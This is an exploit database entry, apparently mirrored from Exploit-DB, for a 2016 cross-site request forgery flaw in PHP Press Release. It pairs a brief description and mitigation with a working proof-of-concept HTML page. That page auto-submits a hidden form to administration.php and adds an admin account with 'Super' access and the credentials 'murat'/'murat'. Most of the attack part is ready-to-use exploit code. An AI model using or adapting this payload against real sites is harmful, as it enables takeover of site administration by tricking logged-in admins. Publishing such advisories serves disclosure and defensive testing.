PHP Press Release - Cross-Site Request Forgery (Add Admin - Super User )

vendor:

PHP Press Release

by:

Besim

8,8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: PHP Press Release

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

PHP Press Release – Cross-Site Request Forgery (Add Admin – Super User )

A Cross-Site Request Forgery (CSRF) vulnerability exists in PHP Press Release, which allows an attacker to add an admin user with Super user access level. An attacker can craft a malicious HTML page and send it to the victim. When the victim visits the malicious page, the attacker's request will be executed in the background and an admin user with Super user access level will be added.

Mitigation:

The application should verify the request origin and should not accept requests from untrusted sources.

Source

Exploit-DB raw data:

# Exploit Title :              PHP Press Release - Cross-Site Request Forgery (Add Admin - Super User )
# Author :                     Besim
# Google Dork :                 -
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.pagereactions.com/product.php?pku=1
 Software link :
 http://www.pagereactions.com/downloads/phppressrelease.zip



########################### CSRF PoC ###############################


<html>
  <!-- CSRF PoC  -->
  <body>
    <form action="http://sitename/phppressrelease/administration.php" method="POST">
      <input type="hidden" name="pageaction" value="saveuser" />
      <input type="hidden" name="subaction" value="submit" />
      <input type="hidden" name="username" value="murat" />
      <input type="hidden" name="password" value="murat" />
      <input type="hidden" name="userfullname" value="murat&#32;tester" />
      <input type="hidden" name="accesslevel" value="Super" />
      <input type="hidden" name="userstatus" value="active" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      *document.forms[0].submit();*
    </script>
  </body>
</html>

####################################################################